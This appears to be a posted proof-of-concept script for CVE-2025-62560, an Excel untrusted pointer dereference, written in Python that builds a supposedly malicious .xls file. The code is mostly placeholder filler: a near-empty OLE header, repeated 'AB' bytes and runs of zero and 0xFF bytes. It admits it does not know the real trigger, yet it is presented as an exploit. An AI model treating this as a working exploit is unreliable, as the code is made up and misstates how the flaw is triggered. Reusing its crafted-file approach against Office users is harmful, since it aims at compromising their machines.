CVE-2025-62560 Microsoft Office Excel不受信任指针解引用漏洞

# CVE-2025-62560 PoC - Malicious Excel File Trigger # This PoC demonstrates the vulnerability concept # DO NOT use for malicious purposes import struct import os def create_malicious_excel(): """ Create a malicious Excel file that triggers CVE-2025-62560 Untrusted pointer dereference in Microsoft Office Excel """ # Excel file signature (XLS format) header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1' # OLE2 Compound Document structure ole_header = bytearray(512) ole_header[0:8] = header # Sector allocation table sector_table = bytearray(512) # Malicious payload to trigger pointer dereference # This is a conceptual PoC - actual exploit requires specific conditions malicious_data = bytearray(1024) # Fill with specific byte patterns that may trigger the vulnerability # In real exploitation, this would target specific memory addresses for i in range(len(malicious_data)): malicious_data[i] = 0x41 if i % 2 == 0 else 0x42 # Construct the malformed record structure # Excel BOF record (Beginning of File) bof_record = struct.pack('<HHII', 0x0809, # Record type 0x0010, # Record length 0x0005, # Version 0x02D0 # Type ) # Malformed record that triggers untrusted pointer # The exact bytes depend on the specific vulnerability trigger trigger_data = b'\x00' * 256 + b'\xFF' * 16 # Combine all components excel_file = ole_header + sector_table + bof_record + malicious_data + trigger_data return excel_file def main(): """Generate and save the PoC file""" poc_data = create_malicious_excel() output_file = 'CVE-2025-62560_poc.xls' with open(output_file, 'wb') as f: f.write(poc_data) print(f'PoC file generated: {output_file}') print('WARNING: This file is for educational purposes only') print('Do not distribute or use for malicious activities') if __name__ == '__main__': main() # Note: This is a conceptual PoC. Actual exploitation requires: # 1. Detailed analysis of the specific pointer dereference flaw # 2. Precise memory layout understanding # 3. Specific Excel version and patch level targeting # 4. ROP chain construction for modern Windows protections (ASLR, DEP)